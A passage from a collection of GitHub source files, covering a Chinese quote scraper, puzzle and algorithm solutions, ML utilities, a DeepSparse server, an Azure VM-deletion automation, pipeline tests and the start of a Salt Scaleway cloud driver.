handle_request(url,page=None):\n #拼接出来指定url\n if page != None:\n url = url + str(page) + '.html'\n headers = {\n 'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/64.0.3282.140 Safari/537.36 Edge/18.17763',\n }\n request = urllib.request.Request(url=url,headers=headers)\n return request\ndef get_text(a_href):\n #调用函数,构建请求对象\n request = handle_request(a_href)\n #发送请求,获取响应\n content = urllib.request.urlopen(request).read().decode()\n #解析内容\n pattern = re.compile(r'
    (.*?)
    ',re.S)\n #获取内容\n lt = pattern.findall(content)\n text = lt[0]\n #写正则,将内容里面所有的图片全部清空\n pat = re.compile(r'')\n text = pat.sub('',text)\n #返回内容\n return text\ndef parse_content(content):\n #写正则\n pattern = re.compile(r'

    (.*?)

    ')\n #返回的lt是一个列表,列表中的元素都是元组,元组中第一个元素就是正则中第二个小括号匹配到的内容\n lt = pattern.findall(content)\n #遍历列表\n for href_title in lt:\n #获取内容的链接\n a_href = 'http://www.yikexun.cn' + href_title[0]\n #获取标题\n title = href_title[-1]\n #向a_href发送请求,获取响应内容\n text = get_text(a_href)\n #写入到html文件中\n string = '

    %s

    %s' % (title,text)\n with open('lizhi.html','a',encoding='utf8') as fp:\n fp.write(string)\ndef main():\n url = 'http://www.yikexun.cn/niandujingdianyulu/2013yulu/list_60_'\n start_page = int(input(\"请输入起始页码:\"))\n end_page = int(input(\"请输入结束页码:\"))\n for page in range(start_page,end_page+1):\n #根据url和page去生成指定的request\n request = handle_request(url,page)\n #发送请求\n content = urllib.request.urlopen(request).read().decode()\n #解析内容\n parse_content(content)\nif __name__ == '__main__':\n main()","repo_name":"IronmanJay/Python_Project","sub_path":"Spider/Regular/LiZhi.py","file_name":"LiZhi.py","file_ext":"py","file_size_in_byte":2202,"program_lang":"python","lang":"zh","doc_type":"code","stars":15,"dataset":"github-code","pt":"78"} +{"seq_id":"17585852775","text":"#python solution.py input.txt\nimport sys\nimport re\n\nwith open(sys.argv[1]) as f:\n rows = [row.replace('\\n', '') for row in f.readlines()]\n\nclass Particle:\n\n def __init__(self, properties, idx):\n self.id = idx\n\n position, velocity, accelaration = properties\n self._position = [int(pos) for pos in position.split(',')]\n self._velocity = [int(vel) for vel in velocity.split(',')]\n self._accelaration = [int(acc) for acc in accelaration.split(',')]\n\n @property\n def manhattan_acceleration(self):\n return sum([abs(a) for a in self._accelaration])\n\n @property\n def manhattan_position(self):\n return sum([abs(p) for p in self._position])\n\n @property\n def position(self):\n return ','.join(str(p) for p in self._position)\n\n def tick(self):\n for i in range(len(self._velocity)):\n self._velocity[i] += self._accelaration[i]\n self._position[i] += self._velocity[i]\n\n def __lt__(self, other):\n return (\n (self.manhattan_acceleration, self.manhattan_position) <\n (other.manhattan_acceleration, other.manhattan_position))\n\npattern = re.compile(r\"<([^>]*)>\")\nparticles = {idx: Particle(pattern.findall(row), idx) for idx, row in enumerate(rows)}\n\ni = 0\nwhile i < 100:\n to_delete = set()\n seen = {}\n for key, p in particles.items():\n if p.position not in seen:\n seen[p.position] = p.id\n p.tick()\n else:\n to_delete.add(p.id)\n to_delete.add(seen[p.position])\n\n if len(to_delete) > 0:\n i = 0\n else:\n i += 1\n for pid in to_delete:\n print(f\"---{pid} destroyed by collision---\")\n particles.pop(pid, None)\n\nprint(len(particles))\n","repo_name":"MichaelNZ404/AdventofCode","sub_path":"day20/solution-part2.py","file_name":"solution-part2.py","file_ext":"py","file_size_in_byte":1753,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"78"} +{"seq_id":"31778101849","text":"import numpy as np\nimport matplotlib.pyplot as plt\nimport copy\nimport random\nimport math\nimport Functions\n\n# Variables\nNP = 20\nCR = 0.5\nGmax = 50\nF = 0.5\ndimension = 2\n\n# Individual class\nclass IndividualPoint:\n def __init__(self, individual_id, x, y, z):\n self.id = individual_id\n self.x = x\n self.y = y\n self.z = z\n\n# Function to generate population\ndef GeneratePopulation(funcName, xDimension, yDimension):\n population = []\n for i in range(NP):\n x = np.random.uniform(xDimension, yDimension)\n y = np.random.uniform(xDimension, yDimension)\n z = Functions.getFunctionZ(funcName, x, y)\n population.append(IndividualPoint(i, x, y, z))\n \n return population\n\n# Function to compute mutation vector\ndef ComputeMutationVector(r1, r2, r3, xDim, yDim):\n x = (r1.x - r2.x)*F + r3.x\n y = (r1.y - r2.y)*F + r3.y\n z = (r1.z - r2.z)*F + r3.z\n\n if (x < xDim): x = xDim\n if (y < xDim): y = xDim\n if (z < xDim): z = xDim\n\n if (x > yDim): x = yDim\n if (y > yDim): y = yDim\n if (z > yDim): z = yDim\n\n return IndividualPoint(99, x, y, z)\n\n# Differential Evolution algortihm\ndef DifferentialEvolution(xDimension, yDimension, step, funcName):\n # Graph\n plt.ion()\n fig = plt.figure()\n fig.suptitle(\"Differential Evolution\")\n ax = fig.add_subplot(111, projection='3d')\n\n # Function plot\n x = y = np.arange(xDimension, yDimension, step)\n X, Y = np.meshgrid(x, y)\n Z = np.array([Functions.getFunctionZ(funcName, x, y) for x,y in zip(np.ravel(X), np.ravel(Y))]) \n Z = Z.reshape(X.shape)\n\n # Generate population\n pop = GeneratePopulation(funcName, xDimension, yDimension)\n g = 0\n\n print(\"Interrupt program from terminal to stop before finishing.\")\n while g < Gmax:\n print(\"Iteration n.: \" + str(g))\n new_pop = copy.deepcopy(pop)\n \n for element in new_pop:\n # Get random indices\n r1, r2, r3 = random.sample(new_pop, k=3)\n while element.id == r1.id or element.id == r2.id or element.id == r3.id:\n r1, r2, r3 = random.sample(new_pop, k=3)\n \n # Mutation vector\n v = ComputeMutationVector(r1, r2, r3, xDimension, yDimension)\n\n # Trial vector\n u = np.zeros(dimension)\n j_rnd = np.random.randint(0, dimension)\n\n for j in range(dimension):\n if np.random.uniform() < CR or j == j_rnd:\n if j == 0: u[j] = v.x \n else: u[j] = v.y\n else:\n if j == 0: u[j] = element.x \n else: u[j] = element.y\n \n f_u = Functions.getFunctionZ(funcName, u[0], u[1])\n \n # Accept better or same solution\n if f_u <= element.z:\n new_x = IndividualPoint(element.id, u[0], u[1], f_u)\n pop[element.id] = new_x\n\n # Graph\n plt.cla()\n for element in new_pop:\n if (element.y > yDimension): print(\"y\")\n ax.scatter(element.x, element.y, element.z, color=\"black\", s=10)\n print(element.z)\n ax.plot_surface(X, Y, Z, rstride=1, cstride=1, cmap='cool', alpha=0.35)\n plt.pause(0.0000001)\n plt.draw()\n\n g += 1\n \n #After loop show graph\n print(\"Done!\")\n print(\"Press any keyboard to close graph.\")\n plt.waitforbuttonpress()\n \nif __name__ == \"__main__\":\n # Sphere\n DifferentialEvolution(-5.12, 5.12, 0.25, 'sphere')\n\n #Schwefel function\n #DifferentialEvolution(-500, 500, 15, \"schwefel\")\n\n #Griewank\n #DifferentialEvolution(-600, 600, 10, \"griewank\")\n\n #Rastrigin\n #DifferentialEvolution(-5.12, 5.12, 0.25, \"rastrigin\")\n\n #Lewy\n #DifferentialEvolution(-10, 10, 0.25, \"lewy\")\n\n #Michalewitz\n #DifferentialEvolution(0, np.pi, 0.05, \"michalewitz\")\n\n #Zakharov\n #DifferentialEvolution(-5, 10, 0.5, \"zakharov\")\n\n #Ackley -32.768 až 32.768\n #DifferentialEvolution(-5.768, 5.768, 0.1, \"ackley\")","repo_name":"Pinkieqt/BIAlgoritmy","sub_path":"DifferentialEvolution.py","file_name":"DifferentialEvolution.py","file_ext":"py","file_size_in_byte":4048,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"78"} +{"seq_id":"71686646333","text":"#https://qiita.com/bee2/items/4ab87d05cc03d53e19f9\n#「pythonの高速化のために、用途別にcollection型(list/tuple/dictionary/set)の計算量をまとめる」\n\n#pythonの高速化処理において、「listの処理速度は遅い!」\n#スケールが大きくなるにつれ、線形的に処理速度が落ちる。\n\n#-> よって できる限り 「set」 を使用すると良い。\n# しかし、複数のデータを取り扱う場合は、listの方が管理しやすいため、listに統一した方が良いだろう。\n\n#最悪なのは、list型をset型に変換して使用すること。 スケールアップした際に一番遅くなる要因。\n\nn = int(input())\nupper = int(n**0.5)+1\n\nst = set()\nsub_set = set()\n\nfor a in range(2,upper):\n if a in sub_set:\n continue\n\n b = 2\n while n >= a**b:\n if n >= a**b and a**b not in st:\n st.add(a**b)\n if a**b==b**a and b>a:\n sub_set.add(b)\n b += 1\n\nprint(n-len(st))\n","repo_name":"aichi1279/atcoder_daily","sub_path":"193/C.py","file_name":"C.py","file_ext":"py","file_size_in_byte":1006,"program_lang":"python","lang":"ja","doc_type":"code","stars":0,"dataset":"github-code","pt":"78"} +{"seq_id":"23010657481","text":"from linreg.metrics import *\nfrom linreg.optimizers import *\nimport copy\nfrom tqdm.notebook import tqdm\n\n\nclass LinearRegression:\n def __init__(self, optimizer: SgdOptimizer, l1_penalty: float = 0., l2_penalty: float = 0., loss=mse, verbose=2):\n self.w = None\n self.l1_penalty: float = l1_penalty\n self.l2_penalty: float = l2_penalty\n self.loss = loss\n self.loss_list: list = list()\n self.r2_list: list = list()\n self.optimizer = optimizer\n self.verbose = verbose\n\n def _print_debug(self, msg, verbose):\n if verbose < self.verbose:\n print(msg)\n\n def reset(self):\n self.loss_list = list()\n self.r2_list = list()\n if self.w:\n self.w = [1 for _ in self.w]\n\n def predict(self, x, bias=True):\n assert self.w, f\"w is None, use fit first!\"\n x_train = copy.deepcopy(x)\n if bias:\n for i in range(len(x_train)):\n x_train[i].append(1)\n\n for i in range(len(x_train)):\n assert len(self.w) == len(x_train[i]), f\"Column {i} has dim {len(x_train[i])} but {len(self.w)} required.\"\n\n return mult_matrix_vector(x_train, self.w)\n\n def fit(self, x, y, iterations=200, bias=True):\n x_train = copy.deepcopy(x)\n assert len(y) == len(x_train), f\"X has dim {len(x_train)} but {len(y)} required.\"\n\n if bias:\n for i in range(len(x_train)):\n x_train[i].append(1)\n\n n, m = len(x), len(x[0]) # shapes\n if not self.w: # init weights\n self.w = [1 for _ in range(m + 1)]\n\n self.optimizer.set_weights(self.w)\n\n for it in tqdm(range(iterations)):\n y_pred = self.predict(x_train, bias=False)\n self.loss_list.append(self.loss(y, y_pred))\n self.r2_list.append(r2(y, y_pred))\n\n self.optimizer.fit_batch(x_train, y, y_pred)\n\n self._print_debug(f'Iteration: {it}, loss: {self.loss_list[-1]:.6f}, r2: {self.r2_list[-1]:.6f}',\n verbose=1)\n","repo_name":"TihonkovSergey/linreg_spbu_hw","sub_path":"linreg/linear_regression.py","file_name":"linear_regression.py","file_ext":"py","file_size_in_byte":2060,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"78"} +{"seq_id":"36716861150","text":"import torch\nimport torch.nn as nn\nimport matplotlib.pyplot as plt\n\n# Parameters\nEPOCH = 1\nBATCH_SIZE = 50\nLR = 0.0001\n\nclass CNN(nn.Module):\n def __init__(self):\n super(CNN, self).__init__()\n self.conv1 = nn.Sequential(\n nn.Conv2d(\n in_channels=1,\n out_channels=16,\n kernel_size=3,\n stride=1,\n padding=1\n ),\n nn.ReLU(),\n nn.MaxPool2d(kernel_size=2)\n )","repo_name":"Chrislu30604/ssvepbox","sub_path":"ssvepbox/CNNtorch.py","file_name":"CNNtorch.py","file_ext":"py","file_size_in_byte":495,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"78"} +{"seq_id":"37729966322","text":"import logging\nfrom functools import partial\n\nfrom deepsparse import Pipeline\nfrom deepsparse.server.config import EndpointConfig\nfrom deepsparse.server.server import CheckReady, ModelMetaData, ProxyPipeline, Server\nfrom fastapi import FastAPI\n\n\n_LOGGER = logging.getLogger(__name__)\n\n\nclass DeepsparseServer(Server):\n def _add_routes(self, app):\n @app.get(\"/v2/health/ready\", tags=[\"health\"], response_model=CheckReady)\n @app.get(\"/v2/health/live\", tags=[\"health\"], response_model=CheckReady)\n def _check_health():\n return CheckReady(status=\"OK\")\n\n @app.get(\"/v2\", tags=[\"metadata\", \"server\"], response_model=str)\n def _get_server_info():\n return \"This is the deepsparse server. Hello!\"\n\n @app.post(\"/endpoints\", tags=[\"endpoints\"], response_model=bool)\n def _add_endpoint_endpoint(cfg: EndpointConfig):\n if cfg.name is None:\n cfg.name = f\"endpoint-{len(app.routes)}\"\n self._add_endpoint(\n app,\n cfg,\n )\n # force regeneration of the docs\n app.openapi_schema = None\n return True\n\n @app.delete(\"/endpoints\", tags=[\"endpoints\"], response_model=bool)\n def _delete_endpoint(cfg: EndpointConfig):\n _LOGGER.info(f\"Deleting endpoint for {cfg}\")\n matching = [r for r in app.routes if r.path == cfg.route]\n assert len(matching) == 1\n app.routes.remove(matching[0])\n # force regeneration of the docs\n app.openapi_schema = None\n return True\n\n for endpoint_config in self.server_config.endpoints:\n self._add_endpoint(\n app,\n endpoint_config,\n )\n\n _LOGGER.info(f\"Added endpoints: {[route.path for route in app.routes]}\")\n return app\n\n def _add_endpoint(\n self,\n app: FastAPI,\n endpoint_config: EndpointConfig,\n ):\n pipeline_config = endpoint_config.to_pipeline_config()\n pipeline_config.kwargs[\"executor\"] = self.executor\n\n _LOGGER.info(f\"Initializing pipeline for '{endpoint_config.name}'\")\n pipeline = Pipeline.from_config(\n pipeline_config, self.context, self.server_logger\n )\n\n _LOGGER.info(f\"Adding endpoints for '{endpoint_config.name}'\")\n self._add_inference_endpoints(\n app,\n endpoint_config,\n pipeline,\n )\n self._add_status_and_metadata_endpoints(app, endpoint_config, pipeline)\n\n def _add_status_and_metadata_endpoints(\n self,\n app: FastAPI,\n endpoint_config: EndpointConfig,\n pipeline: Pipeline,\n ):\n routes_and_fns = []\n meta_and_fns = []\n\n if endpoint_config.route:\n endpoint_config.route = self.clean_up_route(endpoint_config.route)\n route_ready = f\"/v2/models{endpoint_config.route}/ready\"\n route_meta = f\"/v2/models{endpoint_config.route}\"\n else:\n route_ready = f\"/v2/models/{endpoint_config.name}/ready\"\n route_meta = f\"/v2/models/{endpoint_config.name}\"\n\n routes_and_fns.append((route_ready, Server.pipeline_ready))\n meta_and_fns.append(\n (route_meta, partial(Server.model_metadata, ProxyPipeline(pipeline)))\n )\n\n self._update_routes(\n app=app,\n routes_and_fns=meta_and_fns,\n response_model=ModelMetaData,\n methods=[\"GET\"],\n tags=[\"model\", \"metadata\"],\n )\n self._update_routes(\n app=app,\n routes_and_fns=routes_and_fns,\n response_model=CheckReady,\n methods=[\"GET\"],\n tags=[\"model\", \"health\"],\n )\n\n def _add_inference_endpoints(\n self,\n app: FastAPI,\n endpoint_config: EndpointConfig,\n pipeline: Pipeline,\n ):\n routes_and_fns = []\n if endpoint_config.route:\n endpoint_config.route = self.clean_up_route(endpoint_config.route)\n route = f\"/v2/models{endpoint_config.route}/infer\"\n else:\n route = f\"/v2/models/{endpoint_config.name}/infer\"\n\n routes_and_fns.append(\n (\n route,\n partial(\n Server.predict,\n ProxyPipeline(pipeline),\n self.server_config.system_logging,\n ),\n )\n )\n if hasattr(pipeline.input_schema, \"from_files\"):\n routes_and_fns.append(\n (\n route + \"/from_files\",\n partial(\n Server.predict_from_files,\n ProxyPipeline(pipeline),\n self.server_config.system_logging,\n ),\n )\n )\n\n self._update_routes(\n app=app,\n routes_and_fns=routes_and_fns,\n response_model=pipeline.output_schema,\n methods=[\"POST\"],\n tags=[\"model\", \"inference\"],\n )\n","repo_name":"neuralmagic/deepsparse","sub_path":"src/deepsparse/server/deepsparse_server.py","file_name":"deepsparse_server.py","file_ext":"py","file_size_in_byte":5094,"program_lang":"python","lang":"en","doc_type":"code","stars":2498,"dataset":"github-code","pt":"78"} +{"seq_id":"1054716013","text":"import asyncio\nfrom time import perf_counter\n\nasync def hyperglance_automation(credential, resource: dict, cloud, automation_params = '', **kwargs):\n from azure.mgmt.compute import ComputeManagementClient\n from azure.mgmt.network import NetworkManagementClient\n\n time_limit = kwargs['time_limit']\n start = kwargs['start']\n resource_name = resource['name']\n\n url = cloud.endpoints.resource_manager\n compute_client = ComputeManagementClient(credential, resource['subscription'], base_url=url, credential_scopes=[url + '/.default']) \n network_client = NetworkManagementClient(credential, resource['subscription'], base_url=url, credential_scopes=[url + '/.default'])\n \n vm = compute_client.virtual_machines.get(resource['attributes']['Resource Group'], resource_name) \n if automation_params[\"Delete Associated Resources\"] == 'true':\n ip_configs = []\n os_disk = vm.storage_profile.os_disk.managed_disk\n data_disks = vm.storage_profile.data_disks\n network_interfaces = vm.network_profile.network_interfaces\n for nic in network_interfaces:\n ip_configs.extend(network_client.network_interfaces.get(nic.id.split('/')[4], nic.id.split('/')[8]).ip_configurations)\n process = compute_client.virtual_machines.begin_delete(resource['attributes']['Resource Group'], resource_name)\n if automation_params[\"Delete Associated Resources\"] == 'true':\n while not process.done():\n if perf_counter() - start > time_limit:\n raise Exception(f'Time limit ({time_limit}) surpassed for resource {resource_name}')\n await asyncio.sleep(5)\n compute_client.disks.begin_delete(os_disk.id.split('/')[4], os_disk.id.split('/')[8], polling=False) \n for disk in data_disks:\n resource_group = disk.managed_disk.id.split('/')[4]\n name = disk.managed_disk.id.split('/')[8]\n compute_client.disks.begin_delete(resource_group, name, polling=False) \n nic_deletion_processes = []\n for nic in network_interfaces:\n nic_deletion_processes.append(network_client.network_interfaces.begin_delete(nic.id.split('/')[4], nic.id.split('/')[8]))\n for process in nic_deletion_processes:\n while not process.done():\n if perf_counter() - start > time_limit:\n raise Exception(f'Time limit ({time_limit}) surpassed for resource {resource_name}')\n await asyncio.sleep(5)\n for config in ip_configs:\n if config.public_ip_address == None:\n continue\n ip_resource_group = config.public_ip_address.id.split('/')[4]\n ip_name = config.public_ip_address.id.split('/')[8]\n network_client.public_ip_addresses.begin_delete(ip_resource_group, ip_name, polling=False)\n\n\n\ndef info() -> dict:\n INFO = {\n \"displayName\": \"Delete VM\",\n \"description\": \"Delete a Virtual Machine\",\n \"resourceTypes\": [\n \"Virtual Machine\"\n ],\n \"params\": [\n {\n \"name\": \"Delete Associated Resources\",\n \"type\":\"boolean\",\n \"default\":\"false\"\n }\n\n ],\n \"permissions\": [\n \"Microsoft.Compute/virtualMachines/delete\",\n \"Microsoft.Compute/virtualMachines/read\",\n \"Microsoft.Network/networkInterfaces/read\",\n \"Microsoft.Compute/disks/delete\",\n \"Microsoft.Network/publicIPAddresses/delete\",\n \"Microsoft.Network/networkInterfaces/delete\"\n\n ]\n }\n\n return INFO","repo_name":"hyperglance/azure-rule-automations","sub_path":"hyperglance_automations/actions/vm_delete.py","file_name":"vm_delete.py","file_ext":"py","file_size_in_byte":3293,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"78"} +{"seq_id":"71842633532","text":"import sys\n\n\ndef parse_samples(path_samples):\n print(f\"Start reading from {path_samples}\")\n samples = []\n with open(path_samples) as f:\n for line in f:\n if line.strip():\n sample = line.strip()\n samples.append(sample)\n return samples\n\n\ndef parse_mapping(path_mapping):\n print(f\"Start reading from {path_mapping}\")\n sample_mapping_rate = dict()\n with open(path_mapping) as f:\n for line in f:\n if line.strip():\n line_list = line.strip().split(\"\\t\")\n sample_mapping_rate[line_list[1]] = line_list[0]\n return sample_mapping_rate\n\n\ndef get_mapping_info(samples, sample_mapping_rate, path_out):\n print(f\"Start writing to {path_out}\")\n with open(path_out, \"w+\") as out:\n for each_sample in samples:\n if each_sample in sample_mapping_rate:\n this_sample_rate = sample_mapping_rate[each_sample]\n out.write(each_sample + \"\\t\" + this_sample_rate + \"\\n\")\n else:\n print(f\"sample not in mapping rate: {each_sample}\")\n out.write(each_sample + \"\\t\" + \"NA\" + \"\\n\")\n\n\ndef main():\n path_samples = sys.argv[1]\n path_mapping = sys.argv[2]\n path_out = sys.argv[3]\n samples = parse_samples(path_samples)\n sample_mapping_rate = parse_mapping(path_mapping)\n get_mapping_info(samples, sample_mapping_rate, path_out)\n\n\nif __name__ == '__main__':\n main()\n","repo_name":"lemonsky123/codes-cfea","sub_path":"sun_project/get_mapping_info_sun.py","file_name":"get_mapping_info_sun.py","file_ext":"py","file_size_in_byte":1462,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"78"} +{"seq_id":"27220631219","text":"# 141\n# 문제 : 주어진 LinkedList에 cycle이 있는지 확인하여라\n\n# Given head, the head of a linked list, determine if the linked list has a cycle in it.\n# There is a cycle in a linked list if there is some node in the list that can be reached again by continuously following the next pointer. \n# Internally, pos is used to denote the index of the node that tail's next pointer is connected to. Note that pos is not passed as a parameter.\n# Return true if there is a cycle in the linked list. Otherwise, return false.\n\n# Example 1:\n# Input: head = [3,2,0,-4], pos = 1\n# Output: true\n# Explanation: There is a cycle in the linked list, where the tail connects to the 1st node (0-indexed).\n\n# Example 2:\n# Input: head = [1,2], pos = 0\n# Output: true\n# Explanation: There is a cycle in the linked list, where the tail connects to the 0th node.\n\n# Example 3:\n# Input: head = [1], pos = -1\n# Output: false\n# Explanation: There is no cycle in the linked list.\n \n# Constraints:\n# The number of the nodes in the list is in the range [0, 104].\n# -105 <= Node.val <= 105\n# pos is -1 or a valid index in the linked-list.\n\n\n# 풀이1(hashWay): 해쉬셋을 이용해서 현재 노드가 거쳐온 노드인지 판단, 시간복작도 O(n) 공간복잡도 O(n)\n# 풀이2(fastSlowWay): 공간복잡도 O(1)으로 풀어라. fastSlowWay 적용하면 싸이클이 존재한다면 빠른노드와 느린노드는 결국 만나게 됨\n\nfrom typing import List\n\nclass ListNode:\n def __init__(self, val):\n self.val = val\n self.next = None\n\ndef createList(in_list:List[int]) -> ListNode:\n if len(in_list) == 0:\n raise RuntimeError(\"in_list must have data\") \n head_node = ListNode(in_list[0])\n last_node = head_node\n for idx in range(1,len(in_list)):\n node = ListNode(in_list[idx])\n last_node.next = node\n last_node = node\n return head_node\n\ndef makeLoop(head:ListNode, node_idx:int):\n end_node = head\n while end_node.next:\n end_node = end_node.next\n\n idx = 0\n crnt_node = head\n for idx in range(1,node_idx):\n crnt_node = crnt_node.next\n end_node.next = crnt_node\n\nlist_in = createList([1,3,5,7,9])\nmakeLoop(list_in,2)\n\n\nclass HasLoop:\n def hashWay(self, head: ListNode) -> bool:\n if head is None:\n return False\n\n node_set = set()\n crnt_node = head\n while crnt_node:\n if crnt_node in node_set:\n return True\n node_set.add(crnt_node)\n crnt_node = crnt_node.next\n \n return False\n\n def fastSlow(self, head: ListNode)-> bool:\n if head is None:\n return False\n \n slow_node = head\n fast_node = head\n while fast_node:\n if fast_node.next:\n slow_node = slow_node.next\n fast_node = fast_node.next.next\n else:\n break\n \n if fast_node == slow_node:\n return True\n \n return False\n\n\nhasLoop = HasLoop()\nhasLoop.hashWay(list_in)\nhasLoop.fastSlow(list_in)\n\n\n\n\n\n###############################################################################\n# 풀이1(hashWay): 해쉬셋을 이용해서 현재 노드가 거쳐온 노드인지 판단, 시간복작도 O(n) 공간복잡도 O(n)\n# 풀이2(fastSlowWay): 공간복잡도 O(1)으로 풀어라. fastSlowWay 적용하면 싸이클이 존재한다면 빠른노드와 느린노드는 결국 만나게 됨\n\n\n\n\ndef makeNodeList(nums: List[int]) -> ListNode:\n if len(nums) == 0:\n raise RuntimeError(\"empty\")\n\n headNode = ListNode(nums[0])\n crtNode = headNode\n for idx in range(1, len(nums)):\n nextNode = ListNode(nums[idx])\n crtNode.next = nextNode\n crtNode = nextNode\n\n return headNode\n\ndef printNode(node: ListNode):\n crtNode = node\n while crtNode:\n print(crtNode.val, end=\" \")\n crtNode - crtNode.next\n\n\ndef makeCycle(node: ListNode, nodeIdx: int):\n endNode = node\n while endNode:\n endNode = endNode.next\n\n crtNode = node\n for _ in range(1, nodeIdx):\n crtNode = crtNode.next\n\n endNode.next = crtNode\n\n\nclass Cycle:\n def hashWay(self, node: ListNode) -> bool:\n if node is None:\n return False\n\n hashSet = set()\n crtNode = node\n while crtNode:\n if crtNode in hashSet:\n return True\n hashSet.add(crtNode)\n crtNode = crtNode.next\n\n return False\n\n\n def fastSlowWay(self, node: ListNode) -> bool:\n if node is None:\n return False\n\n fast = node\n slow = node\n while fast:\n if fast.next:\n fast = fast.next.next\n slow = slow.next\n else:\n break\n\n if fast.val == slow.val: # 싸이클이 존재한다면 빠른노드와 느린노드는 결국 만나게 됨\n return True\n\n return False","repo_name":"badoil/algorithms","sub_path":"algo8.linkedList/ll6.linkedListCycle.py","file_name":"ll6.linkedListCycle.py","file_ext":"py","file_size_in_byte":4599,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"78"} +{"seq_id":"9224859330","text":"import numpy as np\nimport pytest\n\nfrom ezcv.pipeline.context import PipelineContext\nfrom ezcv.test_utils import build_img, parametrize_img, assert_terms_in_exception\n\n\n@pytest.fixture\ndef original_img():\n return build_img((16, 16))\n\n\n@pytest.fixture\ndef ctx(original_img):\n return PipelineContext(original_img)\n\n\n@parametrize_img(include_valid=False, include_invalid=True)\ndef test_pipeline_context_invalid_img(img):\n with pytest.raises(ValueError) as e:\n PipelineContext(img)\n\n assert_terms_in_exception(e, ['invalid', 'image'])\n\n\ndef test_pipeline_context_original_img(original_img, ctx):\n assert np.all(original_img == ctx.original_img)\n\n\ndef test_pipeline_context_original_img_read_only(ctx):\n with pytest.raises(ValueError) as e:\n ctx.original_img[:] = 0\n\n assert_terms_in_exception(e, ['read-only'])\n\n\ndef test_pipeline_context_scope_runs(ctx):\n ctx.scope('test_scope')\n\n\ndef test_pipeline_context_scope_is_a_context_manager(ctx):\n with ctx.scope('test_scope'):\n pass\n\n\ndef test_pipeline_context_add_info_runs(ctx):\n info_object = object()\n ctx.add_info('info_name', info_object)\n\n\ndef test_pipeline_context_add_info_repeated_names(ctx):\n info_object = object()\n name = 'info_name'\n ctx.add_info(name, info_object)\n with pytest.raises(ValueError) as e:\n another_object = object()\n ctx.add_info(name, another_object)\n\n assert_terms_in_exception(e, ['duplicated', 'name'])\n\n\ndef test_pipeline_context_add_info_repeated_name_inside_context(ctx):\n info_object = object()\n name = 'info_name'\n with ctx.scope('some_score'):\n ctx.add_info(name, info_object)\n with pytest.raises(ValueError) as e:\n another_object = object()\n ctx.add_info(name, another_object)\n\n assert_terms_in_exception(e, ['duplicated', 'name'])\n\n\ndef test_pipeline_context_add_info_repeated_name_in_different_scope(ctx):\n scope1 = 'scope1'\n info_object_1 = object()\n scope2 = 'scope2'\n info_object_2 = object()\n name = 'info_name'\n with ctx.scope(scope1):\n ctx.add_info(name, info_object_1)\n\n with ctx.scope(scope2):\n ctx.add_info(name, info_object_2)\n\n assert ctx.info[scope1][name] is info_object_1\n assert ctx.info[scope2][name] is info_object_2\n\n\n@pytest.mark.parametrize('invalid_name', [\n None,\n '',\n 123,\n 12.3,\n object(),\n 'no/slashes'\n])\ndef test_pipeline_context_invalid_name(ctx, invalid_name):\n with pytest.raises(ValueError) as e:\n ctx.add_info(invalid_name, object())\n\n assert_terms_in_exception(e, ['invalid', 'name'])\n\n\ndef test_pipeline_context_add_info_reflects_info(ctx):\n name = 'info_name'\n info_object = object\n ctx.add_info(name, info_object)\n assert name in ctx.info\n assert ctx.info[name] is info_object\n\n\ndef test_pipeline_context_add_info_inside_scope(ctx):\n info_name = 'info_name'\n scope_name = 'scope_name'\n info_object = object()\n with ctx.scope(scope_name):\n ctx.add_info(info_name, info_object)\n assert scope_name in ctx.info and info_name in ctx.info[scope_name]\n assert ctx.info[scope_name][info_name] is info_object\n\n\ndef test_pipeline_context_add_info_nested_scope(ctx):\n info_name = 'info_name'\n outer_scope_name = 'outer_scope'\n inner_scope_name_1 = 'inner_scope_1'\n inner_scope_name_2 = 'inner_scope_2'\n info_object = object()\n with ctx.scope(outer_scope_name):\n with ctx.scope(inner_scope_name_1):\n ctx.add_info(info_name, info_object)\n with ctx.scope(inner_scope_name_2):\n ctx.add_info(info_name, info_object)\n\n assert ctx.info == {\n outer_scope_name: {\n inner_scope_name_1: {\n info_name: info_object\n },\n inner_scope_name_2: {\n info_name: info_object\n }\n }\n }\n\n\n","repo_name":"fredtcaroli/ezCV","sub_path":"tests/pipeline/test_context.py","file_name":"test_context.py","file_ext":"py","file_size_in_byte":3864,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"78"} +{"seq_id":"12846043244","text":"\"\"\"\nScaleway Cloud Module\n=====================\n\n.. versionadded:: 2015.8.0\n\nThe Scaleway cloud module is used to interact with your Scaleway BareMetal\nServers.\n\nUse of this module only requires the ``api_key`` parameter to be set. Set up\nthe cloud configuration at ``/etc/salt/cloud.providers`` or\n``/etc/salt/cloud.providers.d/scaleway.conf``:\n\n.. code-block:: yaml\n\n scaleway-config:\n # Scaleway organization and token\n access_key: 0e604a2c-aea6-4081-acb2-e1d1258ef95c\n token: be8fd96b-04eb-4d39-b6ba-a9edbcf17f12\n driver: scaleway\n\n\"\"\"\n\nimport logging\nimport os\nimport pprint\nimport time\n\nimport salt.config as config\nimport salt.utils.cloud\nimport salt.utils.json\nfrom salt.exceptions import (\n SaltCloudConfigError,\n SaltCloudExecutionFailure,\n SaltCloudExecutionTimeout,\n SaltCloudNotFound,\n SaltCloudSystemExit,\n)\n\nlog = logging.getLogger(__name__)\n\n__virtualname__ = \"scaleway\"\n\n\n# Only load in this module if the Scaleway configurations are in place\ndef __virtual__():\n \"\"\"\n Check for Scaleway configurations.\n \"\"\"\n if get_configured_provider() is False:\n return False\n\n return __virtualname__\n\n\ndef _get_active_provider_name():\n try:\n return __active_provider_name__.value()\n except AttributeError:\n return __active_provider_name__\n\n\ndef get_configured_provider():\n \"\"\"Return the first configured instance.\"\"\"\n return config.is_provider_configured(\n __opts__, _get_active_provider_name() or __virtualname__, (\"token\",)\n )\n\n\ndef avail_images(call=None):\n \"\"\"Return a list of the images that are on the provider.\"\"\"\n if call == 